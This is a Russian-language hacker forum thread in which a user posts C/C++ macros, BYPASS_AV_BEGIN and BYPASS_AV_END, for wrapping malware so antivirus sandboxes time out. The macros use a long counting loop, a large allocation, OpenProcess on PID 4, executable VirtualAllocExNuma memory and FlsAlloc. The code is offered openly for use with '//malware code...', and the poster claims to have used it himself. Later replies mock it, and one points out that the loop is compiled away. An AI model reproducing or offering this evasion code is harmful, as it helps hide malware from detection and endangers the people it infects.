Загрузка...

Bypassing antiviruses and antivirus virtual machines

Thread in C/C++ created by 0xEMPEROR Dec 6, 2019. 1485 views

  1. 0xEMPEROR
    0xEMPEROR Topic starter Dec 6, 2019 Banned 32 Nov 27, 2019
    Code
    #define BYPASS_AV_BEGIN char* memdmp = NULL;memdmp = (char*)malloc(100000000);if (memdmp != NULL){int cpt = 0;for (int i = 0; i < 100000000; i++){cpt++;}if (cpt == 100000000){HANDLE file;HANDLE proc;proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);if (proc == NULL){LPVOID mem = NULL;mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);if (mem != NULL){DWORD result = FlsAlloc(NULL);if (result != FLS_OUT_OF_INDEXES){
    Code
    #define BYPASS_AV_END }}}}}
    Вставляем дефайны в заголовок исходника и используем!
    Пример:
    Code
    int main()
    {
    BYPASS_AV_BEGIN
    //malware code...
    BYPASS_AV_END
    }
    Прикол в том что динамическим анализом антивири умрут на моменте BYPASS_AV_BEGIN из-за for (int i = 0; i < 100000000; i++) и манипуляциями с выделением памяти в процессе. На деле задержек из-за цикла не будет ибо это простая инструкция для процессора и на оборот для санбокса антивиря.
     
  2. 0xEMPEROR
    0xEMPEROR Topic starter Dec 6, 2019 Banned 32 Nov 27, 2019
    1mNotS0rr1, проверь? я этот код проверял и сам использовал пока не ушёл с плюсов
    The post was merged to previous Dec 6, 2019
    1mNotS0rr1, Я никому ничего не должен, я выкладываю свой код в котором уверен, и да, если бы ты знал хотябы основы C++, то понял что логика антивирусных санбоксов проста. А именно эти санбоксы трассируют все колы в программе но из-за того что это C++ а не шарп она может выборочно трассировать -- значит она с функции main пробегает по каждому колу пока не остановится на экзепшине и начинаем по новой пока не закончит. НО мой код представляет из себя капкан для трассировки и каждый раз она останавливается в этом месте. Ясен хуй что время у неё ограничено и ресурсы тоже так что до посинения она не будет трассировать это дерьмо чтобы выбраться из капкана.
     
  3. 0xEMPEROR
    0xEMPEROR Topic starter Jan 28, 2020 Banned 32 Nov 27, 2019
    Aendy, на самом деле все инфа по этому давно есть в паблике на ру сфере и рохитабе, я просто собрал всё воедино)
     
  4. Insive
    Insive Feb 27, 2020 pick your pocket? 344 May 26, 2019
    Так вот из-за кого у меня комп наебнулся:roflanPoker:
     
  5. 0xEMPEROR
    0xEMPEROR Topic starter Feb 27, 2020 Banned 32 Nov 27, 2019
  6. Fender_inactive2697143
    Фиговое использование дефайна
     
  7. Slaanesh
    Slaanesh Apr 10, 2020 Немножко ереси на лолзе 464 Sep 4, 2018
    Опять это аниме пытается свои вирусы распостронить, будто нам вашего корона вируса мало кетайци праклятые.
     
  8. Fender_inactive2697143
    0xEMPEROR, спасибо, поржал.
     
    1. View previous comments (7)
    2. 0xEMPEROR Topic starter
      Fender_inactive2697143, не нравится что-то в некст раз не высирай тут своё мнение а создай такую же тему.
    3. Fender_inactive2697143
      0xEMPEROR, я не высрал, я дал вполне хорошие рекомендации. Разве ты не хочешь, чтобы твой код становился лучше?
    4. Terra04
      Fender_inactive2697143, inline теперь для этого тоже не особо подходит, он больше делает weak linkage, а для констант лучше использовать constexpr кста)
  9. Terra04
    Terra04 Oct 30, 2020 95 Jan 4, 2018
    Хмм, очень интересно, особенно если бы ТС объяснил какого лешего это вообще должно иметь шанс быть работоспособным, если
    C

    int cpt = 0;
    for (int i = 0; i < 100000000; i++) {
    cpt++;
    }
    if (cpt == 100000000) {
    }
    Вот эта часть кода вообще оптимизируется компилятором со всеми флагами
    [IMG]
    А выделенная в начале память вообще утекает.
    C
    memdmp = (char*)malloc(100000000);
    Почему нельзя оформить всё как нормальный человек и не лепить всё в define ?
     
Top
Loading...